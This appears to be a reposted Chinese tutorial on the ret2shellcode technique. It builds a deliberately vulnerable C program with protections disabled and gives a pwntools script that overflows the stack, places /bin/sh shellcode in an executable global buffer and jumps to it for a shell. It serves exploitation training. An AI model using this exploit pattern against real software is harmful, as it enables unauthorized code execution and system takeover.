ret2shellcdoe
ret2shellcode的關(guān)鍵是找到一個緩沖區(qū),這個緩沖區(qū)是可讀寫寫可執(zhí)行的,我們要想辦法把我們的shellcdoe放到這個緩沖區(qū),然后跳轉(zhuǎn)到我們的shellcode處執(zhí)行。
例子:
#include <stdio.h> #include <string.h> char str1[0x40];void func() {char str[0x40];read(0,str,0x60);strcpy(str1,str); } int main() {func();return 0; }可以看出,read處有溢出
編譯:
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c找到溢出點:
用peda生成100個字符,
溢出查看此時的EIP
溢出點在76
找到str1首地址
0x804a060
寫出我們的poc
from pwn import * context(arch="i386",os="linux") p=process('./6.exe') offset = 76 shellcode=asm(shellcraft.sh()) //生成shellcode代碼,這里的shellcode越短越好,長度不能超過溢出的長度76 payload =shellcode.ljust(offset,'\x90')+p32(0x804a060) //ljust是為了讓\x90填充我們的shellcode,讓其長度達(dá)到76,0x804a060是str1的首地址,目的是為了跳轉(zhuǎn)到str1首地址,去執(zhí)行我們的shellcode pid=proc.pidof(p) print pid pause() p.sendline(payload) p.interactive()執(zhí)行,成功獲得權(quán)限
注:
生成shellcdoe方法:
方法1.用pwntool或者peda和msfpc或者msfvenom工具生成,支持上線,最好越短越好
例如用pwntool中的shellcraft.sh(),再轉(zhuǎn)匯編字節(jié)碼asm()
asm(shellcraft.sh()),程序中我們是利用peda生成的。
方法2.手寫,其實網(wǎng)上一搜到處都是,可以直接用,但自己要和前段時間windows一樣自己調(diào)試提取
就是想辦法調(diào)用evecve("/bin/sh",null,null);
總結(jié)
ret2shellcode的本意是我們在程序當(dāng)中能找到一塊緩沖區(qū),這個緩沖區(qū)可讀可寫可執(zhí)行,然后想各種辦法,把我們的shellcode搞進(jìn)這個緩沖區(qū),然后到這個緩沖區(qū)頭部去執(zhí)行。
像上面的例子中,我們利用棧溢出將我們生成的shellcdoe復(fù)制到str1處,str1處可讀可寫可執(zhí)行,并且在構(gòu)造payload中加入了這個str1首地址,到這里去執(zhí)行我們的shellcode
總結(jié)
以上是生活随笔為你收集整理的ret2shellcdoe的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 借助格式化输出过canary保护
- 下一篇: 远控免杀专题(20)-GreatSCT免